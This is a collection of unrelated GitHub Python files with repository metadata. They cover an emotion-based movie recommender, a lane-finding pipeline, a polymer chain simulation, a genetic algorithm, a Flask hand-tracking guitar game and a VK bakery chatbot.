['Image', 'Source', 'toc', 'Table']\n        ],\n        'allowedContent': True,\n        'extraAllowedContent': '*',\n\n    },\n    'snippet': {\n        'allowedContent': True,\n        'extraAllowedContent': '*',\n\n    },\n}\n\n\nSECURE_SSL_REDIRECT=False\nSESSION_COOKIE_SECURE=False\nCSRF_COOKIE_SECURE=False\n","repo_name":"MirFaisal/booking-app","sub_path":"booking_app/booking_app/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":5425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18379142949","text":"from tensorflow.keras.models import load_model\r\nfrom time import sleep\r\nfrom tensorflow.keras.preprocessing.image import img_to_array\r\nfrom tensorflow.keras.preprocessing import image\r\nimport cv2\r\nimport numpy as np\r\ndef emo():\r\n    face_classifier = cv2.CascadeClassifier(r'C:\\Machine Learning\\Emotion Recognition\\haarcascade_frontalface_default.xml')\r\n    classifier = load_model(r'C:\\Machine Learning\\Emotion Recognition\\Emotion_little_vgg_updated.h5')\r\n\r\n    class_labels = ['Angry', 'Happy', 'Neutral', 'Sad', 'Surprise']\r\n\r\n    cap = cv2.VideoCapture(0)\r\n\r\n    while True:\r\n        # Grab a single frame of video\r\n        ret, frame = cap.read()\r\n        labels = []\r\n        gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n        faces = face_classifier.detectMultiScale(gray, 1.3, 5)\r\n\r\n        for (x, y, w, h) in faces:\r\n            cv2.rectangle(frame, (x, y), (x + w, y + h), (255, 0, 0), 2)\r\n            roi_gray = gray[y:y + h, x:x + w]\r\n            roi_gray = cv2.resize(roi_gray, (48, 48), interpolation=cv2.INTER_AREA)\r\n            # rect,face,image = face_detector(frame)\r\n\r\n            if np.sum([roi_gray]) != 0:\r\n                roi = roi_gray.astype('float') / 255.0\r\n                roi = img_to_array(roi)\r\n                roi = np.expand_dims(roi, axis=0)\r\n\r\n                # make a prediction on the ROI, then lookup the class\r\n\r\n                preds = classifier.predict(roi)[0]\r\n                label = class_labels[preds.argmax()]\r\n                label_position = (x, y)\r\n                cv2.putText(frame, label, label_position, cv2.FONT_HERSHEY_SIMPLEX, 2, (14, 219, 231), 3)\r\n                return label\r\n            else:\r\n                cv2.putText(frame, 'No Face Found', (20, 60), cv2.FONT_HERSHEY_SIMPLEX, 2, (14, 219, 231), 3)\r\n        cv2.imshow('Emotion Recognition', frame)\r\n\r\n        if cv2.waitKey(1) & 0xFF == ord('q'):\r\n            break\r\n\r\n    cap.release()\r\n    cv2.destroyAllWindows()\r\nemr=emo()\r\nimport pandas as pd\r\nemotion=emr\r\nprint('Emotion is:',emotion)\r\nif(emotion==\"Angry\"):\r\n    df=pd.read_csv(r\"C:\\4 Semester\\Project Exhibition-II\\angry-movies-genre.csv\")\r\n    #print(df.head())\r\nif(emotion==\"Surprise\"):\r\n    df=pd.read_csv(r\"C:\\4 Semester\\Project Exhibition-II\\surprise-movies-genre.csv\")\r\n    #print(df.head())\r\nif(emotion==\"Happy\"):\r\n    df=pd.read_csv(r\"C:\\4 Semester\\Project Exhibition-II\\happy-movies-genre.csv\")\r\n    #print(df.head())\r\nif(emotion==\"Neutral\"):\r\n    df=pd.read_csv(r\"C:\\4 Semester\\Project Exhibition-II\\neutral-movies-genre.csv\")\r\n    #print(df.head())\r\nif(emotion==\"Sad\"):\r\n    df=pd.read_csv(r\"C:\\4 Semester\\Project Exhibition-II\\sad-movies-genre.csv\")\r\n    #print(df.head())\r\ngenres_list=['Adventure','Animation','Children','Comedy','Fantasy','Romance','Horror','Sci-Fi','Western','Action','Drama','Thriller','IMAX','Crime','War']\r\ntop=[]\r\nfor i in genres_list:\r\n    df3=df[df['genres'].str.contains(i)]\r\n    top.append(df3)\r\ngenres_dict={'Angry':['Horror','Action','Thriller','IMAX'],'Happy':['Adventure','Animation','Children','Comedy','Fantasy',],'Surprise':['Adventure','Fanatsy','Sci-Fi','Horror'],'Neutral':['Adventure','Comedy','Romance','Drama','Western','Thriller'],'Sad':['Comedy','Romance','Action']}\r\na=dict()\r\nfor i in range(len(genres_list)):\r\n    a[genres_list[i]]=top[i]\r\nfor j in range(len(genres_dict[emotion])):\r\n    print('For ',genres_dict[emotion][j],' Genre Top movies are-')\r\n    print(a[genres_dict[emotion][j]].head())\r\n\r\nmovie_name=input(\"Enter the name of the movie which you have watched previously and want to watch similar movie to that:\")\r\nfrom MovieRecommends import *\r\nmovie_recommender(movie_name)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"yashsinha848/Movie-Recommender-System-using-Emotion","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"29765864440","text":"## Udacity - Self-driving Car Engineer Nanodegree\n## Period: Term 1\n## Class: December 2018\n## Project: Advanced Lane Finding\n## Author: Sérgio Mafra\n## Email: sergio@mafra.io\n## GitHub: github.com/sergiomafra/udacity-sdce-advanced-lane-finding\n\n#IMPORTS\nimport json\nimport numpy as np\nimport os\nfrom classes.CalibrateCamera import CalibrateCamera\nfrom classes.Constants import Constants\nfrom classes.Pipe import Pipe\n\n\nconsts = Constants()\n\n## CALIBRATE CAMERA\ncc_file_path = 'state/camcal.json'\n\nif os.path.isfile(cc_file_path):\n    with open(cc_file_path, 'r') as cc_file:\n        cc_data = json.load(cc_file, )\nelse:\n    camcal = CalibrateCamera(consts.CAMCAL)\n    mtx, dist = camcal.calcCalibrationMatrix()\n\n    ## Saving mtx and dist to a .json\n    cc_data = {}\n    cc_data['mtx'] = mtx.tolist()\n    cc_data['dist'] = dist.tolist()\n\n    with open(cc_file_path, 'w') as cc_file:\n        cc_file.write(json.dumps(\n            cc_data,\n            ensure_ascii=False,\n            sort_keys=True,\n            indent=4)\n        )\n\n## PIPE\npipe = Pipe(\n    consts.PIPE,\n    consts.PERSPECTIVE,\n    np.array(cc_data['mtx']),\n    np.array(cc_data['dist'])\n)\npipe.run()\n","repo_name":"sergiomafra/udacity-sdce-advanced-lane-finding","sub_path":"alf_pipe.py","file_name":"alf_pipe.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"26835104062","text":"import cv2\n\n# 이미지 경로\nimage_path = './cat.png'\n\n# 이미지 읽기\nimage = cv2.imread(image_path)\n\n# 이미지 좌우 및 상하 반전\n# 1 좌우 반전, 0 상하 반전\ndst_temp1 = cv2.cv2.flip(image, 1)\ndst_temp2 = cv2.cv2.flip(image, 0)\n\ncv2.imshow('dst_temp1', dst_temp1)\ncv2.imshow('dst_temp2', dst_temp2)\ncv2.waitKey(0)\n\n# img90 = cv2.rotate(image, cv2.ROTATE_90_CLOCKWISE)\n# img180 = cv2.rotate(image, cv2.ROTATE_180)\n# img270 = cv2.rotate(image, cv2.ROTATE_90_COUNTERCLOCKWISE)\n#\n# cv2.imshow(\"original image\", image)\n# cv2.imshow(\"rotate_90\", img90)\n# cv2.imshow('rotate_180', img180)\n# cv2.imshow('rotate_270', img270)\n#\n# cv2.waitKey(0)","repo_name":"NoirCade/MS-AI-School","sub_path":"45일차/ex06.py","file_name":"ex06.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74469805814","text":"#!/usr/bin/python3\n# -*- coding: UTF-8 -*-\n__Author__ = \"Alvin Liu\"\n\n\nimport schedule\n\n\n# 不定长参数求和\ndef sum(*nums):\n    result = 0\n    for n in nums:\n        result += n\n    print(result)\n\n\nsum(1, 2, 3, 4, 5)   # 15\nsum(1, 3, 4)\n\n\n# 不定长参数混用\n# def show(a, *b, c):\n#     print(\"a=\", a)\n#     print(\"b=\", b)\n#     print(\"c=\", c)\n#\n#\n# show(1, 2, 3, 4, c=5)\n\n\n# def func(a, b, **nums):\n#     print(\"a = \", a)\n#     print(\"b = \", b)\n#     print(\"nums = \", nums)\n#\n#\n# func(a=1,b=2,c=21,d=18,e=20)\n\n#\n# # 函数的解包\n# def func(a, b, c):\n#     print(\"a=\", a)\n#     print(\"b=\", b)\n#     print(\"c=\", c)\n# # 定义一个元组数据\n# t = (10, 15, 20)\n# # 传递实参时，可以在序列类型的参数前添加*，自动会将序列中的元素依次作为参数传递\n# func(*t)\n\n#\n# # 函数的解包\n# def func(a, b, c):\n#     print(\"a=\", a)\n#     print(\"b=\", b)\n#     print(\"c=\", c)\n# # 定义一个字典\n# t = {'a': 10, 'b': 15, 'c': 20}\n# # 通过**对字典进行解包\n# func(**t)","repo_name":"AlwynLiu/py-info-webservice","sub_path":"flaskr/plugin/variablepramameter.py","file_name":"variablepramameter.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"71092024693","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass ChainBundle():\n    def __init__(self):\n        self.data = None\n\n    def compute(self, n_chains, persistence_length, contour_length, n_segments=100):\n        \"\"\"\n        :param n_chains: How many chains to include in the bundle\n        :param persistence_length: Average correlation between chain segments gets down to 1/e after persistence_length\n        :param contour_length: Length of the Chains to be simulated\n        :param n_segments: How smooth chain should be approximated by linear segments.\n                           Should be at least 50 for meaningful results\n        :writes in self.data: np.array of shape (n_chains, n_segments, 2) (last entry contains x and y coordinate)\n        \"\"\"\n        segment_length = contour_length / n_segments\n        persistence_length = float(persistence_length)\n\n        coordinates = np.zeros((n_chains, n_segments, 2), dtype=np.float64)  # Initialise numpy array\n        coordinates[:, 0, :] = 0  # Chains start at (0,0)\n        coordinates[:, 1, 0] = segment_length  # Chain starts directly into x direction\n        angle = [0]\n\n        for segment in range(n_segments - 2):\n            random_dir = np.random.choice([-1, 1], n_chains).astype(np.float64)\n            angle += random_dir * np.arccos(np.exp(- segment_length / persistence_length / 1.0))\n            coordinates[:, segment + 2, 0] = coordinates[:, segment + 1, 0] + segment_length * np.cos(angle)\n            coordinates[:, segment + 2, 1] = coordinates[:, segment + 1, 1] + segment_length * np.sin(angle)\n\n        self.data = coordinates\n\n    def compute_persistence_length(self, verbose=False):\n        \"\"\"\n        verbose == True:\n        :return: persistence length, x_values, exponential_curve\n        verbose == False:\n        :return: persistence length\n        \"\"\"\n        from scipy.optimize import curve_fit\n        \"\"\"Similar to\n        https://pythonhosted.org/MDAnalysis/_modules/MDAnalysis/analysis/polymer.html\"\"\"\n        n = self.data.shape[1]\n        results_total = np.zeros((self.data.shape[0], n - 1))\n        for a, chain in enumerate(self.data):\n            chain = chain\n            vecs = chain[1:] - chain[:-1]\n            vecs_norm = vecs / np.sqrt((vecs * vecs).sum(axis=1))[:, None]\n            inner_pr = np.inner(vecs_norm, vecs_norm)\n            results = np.zeros(n - 1)\n            for i in range(n - 1):\n                results[:(n - 1) - i] += inner_pr[i, i:]\n            norm = np.linspace(n - 1, 1, n - 1)\n            results = results / norm\n            results_total[a] = results\n        results_curve = results_total.mean(0)\n\n        def expon(lamb, x):\n            return np.exp(-lamb * x)\n\n        l = np.sqrt(np.sum(vecs[0] ** 2))\n        x = np.arange(n - 1) * l\n        lamb, dlamb = curve_fit(expon, x, results_curve, p0=0.1)\n        if verbose:\n            return 1 / lamb[0], x, results_curve\n        else:\n            return 1 / lamb[0]\n\n    def plot(self, ax=None, **kwargs):\n        \"\"\"\n        :param kwargs: e.g. color='blue'\n        :return: ax\n        \"\"\"\n        if ax is None:\n            ax = plt.gca()\n        label = kwargs.pop('label','')\n        if self.data is None:\n            raise \"call .compute first to get a WLC bundle of chains\"\n        else:\n            for i, chain in enumerate(self.data):\n                ax.plot(*chain.T, label=\"%s\"%label if i == 0 else '', **kwargs)\n        return ax\n","repo_name":"stefanhuber1993/worm_like_chain","sub_path":"WLC.py","file_name":"WLC.py","file_ext":"py","file_size_in_byte":3436,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"7949004113","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport sys\nfrom pick import pick\nimport random\nimport matplotlib.pyplot as plt\nplt.rcParams['figure.figsize'] = (16, 9)\nplt.style.use('ggplot')\nimport xlwt\nfrom xlwt import Workbook\n\ntry:\n  os.stat(\"resultados\")\nexcept:\n  os.mkdir(\"resultados\")\n\n### Variables globales ###\nlong_cromosomas = 30\n#Crear población inicial (vamos a elegir cantidad inicial = 4)\ncant_pi = 10 #cantidad población inicial\n#Probabilidades\n#Crossover\npc = 0.75\n#Mutación\npm = 0.05\n#elitismo\nr=2\n\n# Función objetivo\ndef funcion_objetivo(x):\n    return (x/((2**30)-1))**2\n#Función para crear población inicial\n#Parámetros: cantidad-->cantidad de cromosomas\n#            longitud-->longitud de cada cromosoma\ndef crear_poblacion_inicial(cantidad,longitud):\n    poblacion_inicial = list() #lista población inicial\n    for i in range(cantidad):\n        cromosoma_inicial = \"\" #auxiliar para crear cada cromosoma\n        for i in range(longitud):\n            #genero un gen aleatorio y lo agrego al cromosoma\n            cromosoma_inicial += str(random.randrange(2)) #genera random: 0 o 1\n        poblacion_inicial.append(cromosoma_inicial)\n    return poblacion_inicial\n\n#recibe funcobj:valor de la función objetivo, poblacion: lista de cromosomas binario\ndef funcion_fitness(funcobj,poblacion):\n    suma_fo = 0 #suma funciones objetivo\n    for i in range(len(poblacion)):\n        suma_fo += funcion_objetivo(int(poblacion[i],2))\n    try:\n        fitness = funcobj/suma_fo\n    except:\n        fitness = 0\n    return fitness\n\n#Dibujo tabla\ndef exportar_datos(columnas, data,cant_corr,elitismo):\n    wb = Workbook()\n    sheet1= wb.add_sheet('Resultados')\n    bold = xlwt.easyxf('font:bold 1')\n    fila = 0\n    col = 0\n    for c in columnas:\n        sheet1.write(fila,col,c, bold)\n        col+=1\n    fila+=1\n    for d_fila in data:\n        col = 0\n        for d in d_fila:\n            sheet1.write(fila,col,d)\n            col+=1\n        fila+=1\n    if elitismo:\n        wb.save('resultados/tabla_{}_corridas_elitismo.xls'.format(cant_corr))\n    else:\n        wb.save('resultados/tabla_{}_corridas.xls'.format(cant_corr))\n\n    return\n\ndef graficar_resultados(data,titulo,cant_corr,elitismo):\n    #data = [\"Corrida\",\"Mínimo\",\"Máximo\",\"Cromosoma Máximo\",\"Promedio\"]\n    plt.title(titulo)\n    lista_minimos = []\n    lista_maximos = []\n    lista_promedios = []\n    for d in data:\n        lista_minimos.append([d[0],d[1]])\n        lista_maximos.append([d[0],d[2]])\n        lista_promedios.append([d[0],d[4]])\n    xmin,ymin = zip(*[i for i in lista_minimos])\n    xmax,ymax = zip(*[i for i in lista_maximos])\n    xprom,yprom = zip(*[i for i in lista_promedios])\n    plt.plot(xmin,ymin,'ro-',markersize=0.5,lw=0.5,color='red',label=\"Mínimos\")\n    plt.plot(xmax,ymax,'ro-',markersize=0.5,lw=0.5,color='blue',label=\"Máximos\")\n    plt.plot(xprom,yprom,'ro-',markersize=0.5,lw=0.5,color='green',label=\"Promedios\")\n    plt.grid(True)\n    plt.xlabel('Número de corrida')\n    plt.ylabel('Valor función objetivo')\n    plt.legend()\n    if elitismo:\n        plt.savefig('resultados/grafica_{}_corridas_elitismo.png'.format(cant_corr))\n    else:\n        plt.savefig('resultados/grafica_{}_corridas.png'.format(cant_corr))\n    plt.close()\n    return\n\n#Llenar ruleta\ndef llenar_ruleta(poblacion):\n    cant_casilleros = 100\n    ruleta = [] #lista con casilleros --> 100%\n    nueva_poblacion = []\n    pos_fin = 0 #auxiliar para completar ruleta\n    for i in range(len(poblacion)):\n        valor_fo = funcion_objetivo(int(poblacion[i],2))\n        fitness_i = funcion_fitness(valor_fo,poblacion)\n        cant_casilleros_i = round(fitness_i*cant_casilleros) #porcentaje de casilleros con respecto a 100\n        #Lleno la ruleta con la posición del cromosoma\n        for j in range(pos_fin,cant_casilleros_i+pos_fin):\n            ruleta.append(i)\n        pos_fin += cant_casilleros_i\n    return ruleta\n\ndef probabilidad_crossover():\n    num_aleat = random.random()\n    if num_aleat <= pc:\n        return True\n    return False\n\ndef probabilidad_mutacion():\n    num_aleat = random.random()\n    if num_aleat <= pm:\n        return True\n    return False\n\n#Operador Mutación\n#Argumentos\n#cromosoma: el cromosoma a mutar\ndef mutacion(cromosoma):\n    num_aleat = random.randrange(len(cromosoma))\n    cromosoma_mut = list(cromosoma)\n    if cromosoma_mut[num_aleat]=='0':\n        cromosoma_mut[num_aleat]='1'\n    else:\n        cromosoma_mut[num_aleat]='0'\n    cromosoma_mut = \"\".join(cromosoma_mut)\n    return cromosoma_mut\n\n#Operador Crossover\n#Argumentos:\n#n: número de cortes\n#cromosoma1 y cromosoma2: cromosomas para hacer crossover\n#Return: dos cromosomas hijos\ndef crossover(n,cromosoma1,cromosoma2):\n    nuevo_cromosoma1 = list(cromosoma1)\n    nuevo_cromosoma2 = list(cromosoma2)\n    for i in range(n):\n        corte = random.randrange(long_cromosomas)\n        nuevo_cromosoma1[corte:]=cromosoma2[corte:]\n        nuevo_cromosoma2[corte:]=cromosoma1[corte:]\n    nuevo_cromosoma1 = \"\".join(nuevo_cromosoma1)\n    nuevo_cromosoma2 = \"\".join(nuevo_cromosoma2)\n    return nuevo_cromosoma1,nuevo_cromosoma2\n\n#Método de selección\n#Argumentos:\n#poblacion: lista de poblacion actual\ndef seleccion_ruleta(poblacion):\n    ruleta = llenar_ruleta(poblacion)\n    seleccion = []\n    for i in range(len(poblacion)):\n        #Saco un random de la ruleta\n        num = random.randrange(len(ruleta))\n        seleccion.append(ruleta[num])\n    nueva_poblacion = []\n    #Tomamos de a pares\n    for i in range(0,len(seleccion),2):\n        cromosoma1 = poblacion[seleccion[i]]\n        cromosoma2 = poblacion[seleccion[i+1]]\n        if probabilidad_crossover():\n            cromosoma1,cromosoma2 = crossover(1,cromosoma1,cromosoma2)\n        if probabilidad_mutacion():\n            cromosoma1 = mutacion(cromosoma1)\n        if probabilidad_mutacion():\n            cromosoma2 = mutacion(cromosoma2)\n        nueva_poblacion.append(cromosoma1)\n        nueva_poblacion.append(cromosoma2)\n    return nueva_poblacion\n\n#Argumentos:\n#cant_pi: int cantidad de elementos (cromosomas) de la población inicial\n#cant_corridas: int cantidad de corridas\n#elitistmo: boolean si hay o no elitismo\ndef programa_principal(cant_pi, cant_corridas, elitismo):\n    try:\n        #guardo los datos obetenidos en cada corrida\n        tabla_final = []\n        #Creo población inicial\n        poblacion =  crear_poblacion_inicial(cant_pi,long_cromosomas)\n        #seteo variable auxiliar para que no rompa\n        crom_maximo_corrida = poblacion[0]\n        cromosoma_maximo = crom_maximo_corrida\n\n        for c in range(cant_corridas):\n            suma_fo = 0\n            minimo = 2**30 #infinito\n            maximo = 0\n            tabla_corrida = []\n            #para elitismo\n            lista_fitness = []\n            for i in range(len(poblacion)):\n                cromosoma = poblacion[i] #binario\n                cromosoma_entero = int(poblacion[i],2) #decimal\n                valor_fo = funcion_objetivo(cromosoma_entero) #valor función objetivo\n                valor_fit = funcion_fitness(valor_fo, poblacion)#valor fitness\n                if elitismo:\n                    #para elitismo\n                    lista_fitness.append([cromosoma,valor_fit])\n                suma_fo += valor_fo\n                if valor_fo > maximo:\n                    maximo = valor_fo\n                    crom_maximo_corrida = cromosoma\n                if valor_fo < minimo:\n                    minimo = valor_fo\n            promedio = suma_fo/len(poblacion)\n            if crom_maximo_corrida > cromosoma_maximo:\n                cromosoma_maximo = crom_maximo_corrida\n\n            if elitismo:\n                #Ordeno lista por la posición 1 (fitness) de mayor a menor\n                lista_fitness.sort(key=lambda x:x[1], reverse=True)\n                #Me quedo con los r \"ere\" cromosomas élit\n                poblacion_elite = []\n                for i in range(r):\n                    poblacion_elite.append(lista_fitness[i][0])\n                #Mando a selección rulea los cromosomas comunes\n                poblacion_comun = []\n                for i in range(r,len(poblacion)):\n                    poblacion_comun.append(lista_fitness[i][0])\n                poblacion = seleccion_ruleta(poblacion_comun)\n                #Vuelvo a unir la población común y elite\n                poblacion += poblacion_elite\n            else:\n                poblacion = seleccion_ruleta(poblacion)\n            #lleno tabla de la corrida\n            tabla_corrida.append(c)\n            tabla_corrida.append(minimo)\n            tabla_corrida.append(maximo)\n            tabla_corrida.append(crom_maximo_corrida)\n            tabla_corrida.append(promedio)\n            tabla_final.append(tabla_corrida)\n        columnas_final = [\"Corrida\",\"Mínimo\",\"Máximo\",\"Cromosoma Máximo\",\"Promedio\"]\n        exportar_datos(columnas_final,tabla_final,cant_corridas,elitismo)\n        titulo = \"Cromosoma que genera el máximo: {}\".format(cromosoma_maximo)\n        graficar_resultados(tabla_final,titulo,cant_corridas,elitismo)\n\n        return \"Algoritmo corrido con éxito, los resultados fueron guardados\"\n    except:\n        return \"Ups, algo salió mal\"\n\ndef menu():\n    que_hacer = 'Algoritmos genéticos'\n    opciones_que_hacer = ['NORMAL', 'CON ELITISMO', 'X SALIR']\n    opcion_que_hacer, index = pick(opciones_que_hacer, que_hacer)\n    if opcion_que_hacer == 'NORMAL':\n        elitismo = False\n    elif opcion_que_hacer == 'CON ELITISMO':\n        elitismo = True\n    else:\n        sys.exit()\n    cuantas_corridas = 'Cuántas corridas va a hacer?'\n    corridas = ['20','100','200', 'X VOLVER']\n    cant_corr, index = pick(corridas, cuantas_corridas)\n    if cant_corr == 'X VOLVER':\n        menu()\n    else:\n        resultado=programa_principal(cant_pi,int(cant_corr),elitismo)\n        seguir, index = pick(['SI','X SALIR'], '{}. Continuar?'.format(resultado))\n        if seguir == 'SI':\n            menu()\n        else:\n            sys.exit()\n\nmenu()\n","repo_name":"robagliom/AlgoritmosGeneticos","sub_path":"TP1/tp1_old.py","file_name":"tp1_old.py","file_ext":"py","file_size_in_byte":9980,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"13355936565","text":"import cv2\nimport mediapipe as mp\nimport time\nimport cvzone\nimport numpy as np\nfrom flask import Flask, render_template, Response\n\nfrom Fret import Fret\n\napp = Flask(__name__)\n\n# COLORS\nCOLOR_GREEN = (140, 234, 153)\n\n\n# hand tracking start\nmpHands = mp.solutions.hands\nhands = mpHands.Hands()\nmpDraw = mp.solutions.drawing_utils\n# images for overlay & size\nlogo = cv2.imread(\"static/images/Group 3.png\")\nheight = 150\nwidth = 1270\nlogo = cv2.resize(logo, (width, height))\nimg2gray = cv2.cvtColor(logo, cv2.COLOR_BGR2GRAY)\nret, mask = cv2.threshold(img2gray, 1, 255, cv2.THRESH_BINARY)\n\n\ndef hand_tracking(camera_frame):\n    image_rgb = cv2.cvtColor(camera_frame, cv2.COLOR_BGR2RGB)\n    results = hands.process(image_rgb)\n    # adds number to fi\n    fontScale = int(1)\n    font = cv2.FONT_HERSHEY_SIMPLEX\n    # print(results.multi_hand_landmarks)\n\n    if results.multi_hand_landmarks:\n        for handLms in results.multi_hand_landmarks:\n            for id, lm in enumerate(handLms.landmark):\n                h, w, c = camera_frame.shape\n                cx, cy = int(lm.x * w), int(lm.y * h)\n                print(id, cx, cy)\n\n                if id == 4:\n                    cv2.circle(camera_frame, (cx, cy), 20, (255, 0, 255), cv2.FILLED)\n                    cv2.putText(camera_frame, \"T\", (cx - 8, cy + 10), font, fontScale, (255, 255, 255), 2, cv2.LINE_AA)\n\n                if id == 8:\n                    cv2.circle(camera_frame, (cx, cy), 20, (255, 0, 255), cv2.FILLED)\n                    cv2.putText(camera_frame, \"1\", (cx - 8, cy + 10), font, fontScale, (255, 255, 255), 2, cv2.LINE_AA)\n\n                if id == 12:\n                    cv2.circle(camera_frame, (cx, cy), 20, (255, 0, 255), cv2.FILLED)\n                    cv2.putText(camera_frame, \"2\", (cx - 8, cy + 10), font, fontScale, (255, 255, 255), 2, cv2.LINE_AA)\n\n                if id == 16:\n                    cv2.circle(camera_frame, (cx, cy), 20, (255, 0, 255), cv2.FILLED)\n                    cv2.putText(camera_frame, \"3\", (cx - 8, cy + 10), font, fontScale, (255, 255, 255), 2, cv2.LINE_AA)\n\n                if id == 20:\n                    cv2.circle(camera_frame, (cx, cy), 20, (255, 0, 255), cv2.FILLED)\n                    cv2.putText(camera_frame, \"4\", (cx - 8, cy + 10), font, fontScale, (255, 255, 255), 2, cv2.LINE_AA)\n\n            mpDraw.draw_landmarks(camera_frame, handLms, mpHands.HAND_CONNECTIONS)\n\n\ndef fret_overlay(frame):\n    # Region of Image (ROI), where we want to insert logo\n    roi = frame[-height - 10:-10, -width - 10:-10]\n    roi[np.where(mask)] = 0\n    roi += logo\n\n\ndef render_frets(frame, frets):\n    for fret in frets:\n        # only move and print if circle has not moved out of screen\n        if fret.x > -fret.radius:\n            # update x pos - moves right to left\n            fret.update_x()\n            # create circle\n        else:\n            fret.reset(frame.shape[1], frame.shape[0])\n        cv2.circle(frame, (fret.x, fret.y), fret.radius, COLOR_GREEN, -1)\n\n\n# Starts the playing the song\n# Once total song time length has elapsed,\n# end game\ndef start_song():\n    camera = cv2.VideoCapture(1)  # CHANGE BACK TO CAM 0\n    is_playing = True\n    frets_ready = False\n    song_minutes = 4\n    song_seconds = 30\n    song_total_seconds = song_minutes * 60 + song_seconds\n\n    # create frets\n    frets = [\n        Fret(2000, 300, 15, 1),\n        Fret(2000, 200, 15, 2),\n        Fret(2000, 300, 15, 3),\n        Fret(2000, 300, 15, 4),\n        Fret(2000, 300, 15, 5),\n        # Fret(2000, 300, 15, 6),\n    ]\n\n    # get start time\n    prevTime = time.time()\n\n    while song_total_seconds > 0:\n        # start reading camera frames\n        success, frame = camera.read()\n\n        # handle camera err\n        if not success:\n            is_playing = False\n            break\n\n        if not frets_ready:\n            for fret in frets:\n                fret.reset(frame.shape[1], frame.shape[0])\n            frets_ready = True\n\n        # adds fret overlay to video feed\n        fret_overlay(frame)\n\n        #hand_tracking(frame)\n        render_frets(frame, frets)\n\n        # encode to jpg and render to screen\n        ret, buffer = cv2.imencode('.jpg', frame)\n        frame = buffer.tobytes()\n        yield (b'--frame\\r\\n'\n               b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n')\n\n        currTime = time.time()\n\n        # has sec passed\n        if currTime - prevTime >= 1:\n            prevTime = currTime\n            song_total_seconds = song_total_seconds - 1\n\n\n\n    print('done')\n\n\n# first page of app\n# Here users can select a song to play\n@app.route('/')\ndef index():\n    return render_template('index.html')\n\n\n# Second page of app\n# Here users can view the song details\n@app.route('/song_details')\ndef song_details():\n    return render_template('song_details.html')\n\n\n@app.route('/play_song')\ndef play_song():\n    return render_template('play_song.html')\n\n\n@app.route('/video_camera')\ndef video_camera():\n    return Response(start_song(), mimetype='multipart/x-mixed-replace; boundary=frame')\n\n\n@app.route('/thebeatlesplaypage.html')\ndef thebeatlesplaypage():\n    return render_template('thebeatlesplaypage.html')\n\n\nif __name__ == '__main__':\n    app.run()\n","repo_name":"ronjovi/guitech-fork","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"40098318526","text":"import logging\nimport os\nimport time\nfrom collections import defaultdict\n\nimport vk_api\nfrom vk_api import VkUpload\nfrom vk_api.longpoll import VkEventType, VkLongPoll\n\nfrom config import configure_logging\nfrom constant import BAKERY, KEYBOARD_MESSAGE_BY_STATE, TOKEN\nfrom db import DB_BakeryProducts\nfrom keyboard import create_keyboard\n\n\ndef send_message(sender, keyboard_path, message):\n    \"\"\"Функция для отправки личных сообщений с кнопками.\"\"\"\n\n    for i in range(0, 3):\n        try:\n            with open(keyboard_path, 'r', encoding='UTF-8') as keyboard:\n\n                vk.messages.send(\n                    user_id=sender,\n                    random_id=0,\n                    keyboard=keyboard.read(),\n                    message=message)\n        except:\n            logging.exception(\n                f'Ошибка отправки сообщения пользователю с id {sender}'\n            )\n            time.sleep(0.5)\n            continue\n        break\n\n\ndef take_path_bakery(product_name):\n    try:\n        db = DB_BakeryProducts()\n        descr, path = db.get_cake_descr_path(product_name)\n        return descr, path\n    except Exception:\n        logging.exception(f'Ошибка соединения c базой')\n\n\ndef send_message_bakery(sender, message):\n    for i in range(0, 3):\n        try:\n            descr, path = take_path_bakery(message)\n            photo = upload.photo_messages(path)\n            owner_id = photo[0]['owner_id']\n            photo_id = photo[0]['id']\n            access_key = photo[0]['access_key']\n            attachment = f'photo{owner_id}_{photo_id}_{access_key}'\n            vk.messages.send(\n                peer_id=sender,\n                random_id=0,\n                message=descr,\n                attachment=attachment)\n        except:\n            logging.exception(\n                f'Ошибка отправки сообщения пользователю с id {sender}'\n            )\n            time.sleep(0.2)\n            continue\n        break\n\n\ndef message_process(sender, message, keyboard):\n    keyboard.click(message, sender)\n    if message in BAKERY:\n        send_message_bakery(sender, message)\n    keyboard_path, message = KEYBOARD_MESSAGE_BY_STATE[keyboard.state]\n    send_message(sender, keyboard_path, message)\n\n\nif __name__ == \"__main__\":\n    configure_logging()\n    authorize = vk_api.VkApi(token=TOKEN)\n    vk = authorize.get_api()\n    upload = VkUpload(vk)\n    longpool = VkLongPoll(authorize)\n    logging.info(\"Запуск бота!\")\n    user_state = defaultdict(create_keyboard)\n    for event in longpool.listen():\n        if event.type == VkEventType.MESSAGE_NEW and event.to_me:\n            message = event.text\n            sender = event.user_id\n            keyboard = user_state[sender]\n            try:\n                message_process(sender, message, keyboard)\n            except:\n                logging.exception('Ошибка во время отправки 